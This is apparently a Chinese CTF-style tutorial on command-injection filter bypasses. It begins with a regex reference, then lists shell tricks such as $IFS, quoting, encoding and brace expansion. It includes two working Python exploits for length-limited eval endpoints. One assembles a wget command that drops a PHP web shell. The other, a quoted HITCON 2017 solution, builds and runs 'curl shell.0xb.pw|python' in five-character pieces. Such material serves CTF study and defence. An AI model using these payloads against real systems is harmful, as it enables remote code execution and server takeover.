正则表达式
^
匹配输入字符串的开始位置。
$
匹配输入字符串的结束位置。
*
匹配前面的子表达式零次或多次
+
匹配前面的子表达式一次或多次。
?
匹配前面的子表达式零次或一次。
{n}
n 是一个非负整数。匹配确定的 n 次。
{n,}
n 是一个非负整数。至少匹配n 次。
{n,m}
m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。
?
当该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,}, {n,m}) 后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。
.
匹配除换行符(\n、\r)之外的任何单个字符。
[xyz]
字符集合。匹配所包含的任意一个字符。
还有一些内置的通用字符簇
[[:alpha:]] 任何字母
[[:digit:]] 任何数字
[[:alnum:]] 任何字母和数字
[[:space:]] 任何空白字符
[[:upper:]] 任何大写字母
[[:lower:]] 任何小写字母
[[:punct:]] 任何标点符号
[[:xdigit:]] 任何16进制的数字,相当于[0-9a-fA-F]
示例
一些常见的限制
通配符*和?的使用
[]和{}的使用
{...}与[...]有一个很重要的区别。如果匹配的文件不存在,[...]会失去模式的功能,变成一个单纯的字符串,而{...}依然可以展开。
空格绕过
使用<和>
使用特殊变量:$IFS
IFS的默认值为:空白(包括:空格,tab, 和新行)
关键字过滤绕过
使用 $*
和 $@
, $x
(x代表1-9), ${x}
(x>=10)
PS:因为在没有传参的情况下,上面的特殊变量都是为空的
使用反斜杠
使用变量
使用特殊变量${9}
${9}对应空字符串
使用编码
base64
16进制
8进制
使用双引号和单引号
花括号还有一种用法:{command,argument},
使用%0a(\n),%0d(\r),%09(\t)等字符也可以bypass一些过滤,这里就会不多去赘述了
长度限制
例题1
很简单,长度不能大于等于17,直接在eval里面再用一个eval就可以了。
例题2
这里要用到我们前面所讲到的重定向,n > file:将文件描述符为 n 的文件重定向到 file。
既然我们不能一次执行一条完整的命令,我们可以分为多次
举个简单的例子
ls是默认以文件名 排序 的,所以我们为了控制我们命令的顺序,可以使用ls -t按时间逆序。
不过这里考虑到直接写shell有点麻烦(因为 php 中的一些符号用到shell中是有意义的,要各种转义,为了节省代码量我们直接用curl或者是wget从服务器dump一个shell下来)
exp如下:
import requests
name=[">php\\",">\\ 1.\\\\",">\\ -O\\\\",">cn\\\\",">\\ a.\\\\",">wget\\\\"]
#可以修改hosts文件,让a.cn指向一个自己的服务器。
#index.html是一个php的shell
url="http://192.168.163.128/test.php"
for x in name:
print x
param={'1':x}
a=requests.get(url,params=param)
param1={'1':'ls -t>a'}
param2={'1':'sh a'}
requests.get(url,params=param1)
requests.get(url,params=param2)
b=requests.get("http://192.168.163.128/1.php")
if b.status_code == 200:
print "ok!"
else:
print "bad!"
可以发现成功写了shell
例题3
HITCON CTF 2017-BabyFirst Revenge
这个字符长度限制不能大于5个,我们写字符还是可以的,但是我们的ls -t>a用不了,不过我们可以用前面的思路,把ls -t>a拆分为几段放在一个文件中,然后再执行。
可以发现2-5行是可以执行ls -t>g的,然后后面的步骤就和前面一题一样了,这里就不多赘述了
贴一下Orange师傅的exp:
import requests
from time import sleep
from urllib import quote
payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
# generate `curl orange.tw.tw>python`
# curl shell.0xb.pw|python
'>on',
'>th\\',
'>py\\',
'>\|\\',
'>pw\\',
'>x.\\',
'>xx\\',
'>l.\\',
'>el\\',
'>sh\\',
'>\ \\',
'>rl\\',
'>cu\\',
# exec
'sh _',
'sh g',
]
# r = requests.get('http://localhost/tmp/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://localhost/tmp/?cmd=' + quote(i) )
print i
sleep(0.2)
Reference
https://portswigger.net/web-security/os-command-injection
https://mp.weixin.qq.com/s/Hm6TiLHiAygrJr-MGRq9Mw